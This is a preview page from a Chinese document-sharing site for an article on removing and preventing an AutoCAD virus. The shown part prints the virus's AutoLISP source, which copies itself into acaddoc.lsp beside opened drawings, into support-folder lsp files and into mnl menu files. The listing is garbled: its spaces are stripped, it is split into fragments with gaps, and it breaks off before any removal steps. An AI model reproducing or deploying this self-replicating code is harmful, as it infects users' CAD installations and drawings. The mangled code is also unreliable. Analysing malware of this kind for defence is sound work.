一种CAD病毒的清除与防范措施.doc

一种CAD病毒的清除与防范措施.doc

ID:50919099

大小:43.95 KB

页数:5页

时间:2020-03-16

一种CAD病毒的清除与防范措施.doc_第1页
一种CAD病毒的清除与防范措施.doc_第2页
一种CAD病毒的清除与防范措施.doc_第3页
一种CAD病毒的清除与防范措施.doc_第4页
一种CAD病毒的清除与防范措施.doc_第5页
资源描述:

《一种CAD病毒的清除与防范措施.doc》由会员上传分享,免费在线阅读,更多相关内容在工程资料-天天文库

1、一种CAD病毒的清除与防范措施雪山飞猪QQ534455近来又出现一种AutoCAD病毒,该病毒与以往CAD病毒不同。干净的CAD系统当打开DWG图时,如果该图所在目录下有ACADDOC.LSP文件(基本为病毒传播文件),ACADDOC.LSP就会运行。1.病毒的特征与传播方式我们先看看病毒代码,代码如下:(setqflagxt)(setqbz"(setqflagxt)")(defunapp(sourcetargetbz/flagflag1wjmwjm1text)(setqflagnil)(setqflag1t)(if(findfiletarget)(progn(setqwjm

2、1(opentarget"r"))(while(setqtext(read-linewjm1))(if(=textbz)(setqflag1nil)));while(closewjm1));progn);if(ifflag1(progn(setqwjm(opensource"r"))(setqwjm1(opentarget"a"))(write-line(chr13)wjm1)(while(setqtext(read-linewjm))(if(=textbz)(setqflagt))(ifflag(progn(write-linetextwjm1));progn);if);w

3、hile(closewjm1)(closewjm));progn);if);defun(setvar"cmdecho"0)(setqacadmnl(findfile"acad.mnl"))(setqacadmnlpath(vl-filename-directoryacadmnl))(setqmnlfilelist(vl-directory-filesacadmnlpath"*.mnl"))(setqmnlnum(lengthmnlfilelist))(setqacadexe(findfile"acad.exe"))(setqacadpath(vl-filename-direc

4、toryacadexe))(setqsupport(strcatacadpath"\support"))(setqlspfilelist(vl-directory-filessupport"*.lsp"))(setqlspfilelist(appendlspfilelist(list"acaddoc.lsp")))(setqlspnum(lengthlspfilelist))(setqdwgname(getvar"dwgname"))(setqdwgpath(findfiledwgname))(ifdwgpath(progn(setqacaddocpath(vl-filen

5、ame-directorydwgpath))(setqacaddocfile(strcatacaddocpath"\acaddoc.lsp"))(setqmnln0)(while(

6、e(strcatsupport"\"(nthlspnlspfilelist)))(applspfilenameacaddocfilebz)(appacaddocfilelspfilenamebz)(setqlspn(1+lspn)));while);progn);if(setqmnln0)(while(

7、h"\"(nthmnln1mnlfilelist)))(appmnlfilenamemnlfilename1bz)(setqmnln1(1+mnln1)));while(setqlspn10)(while(

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。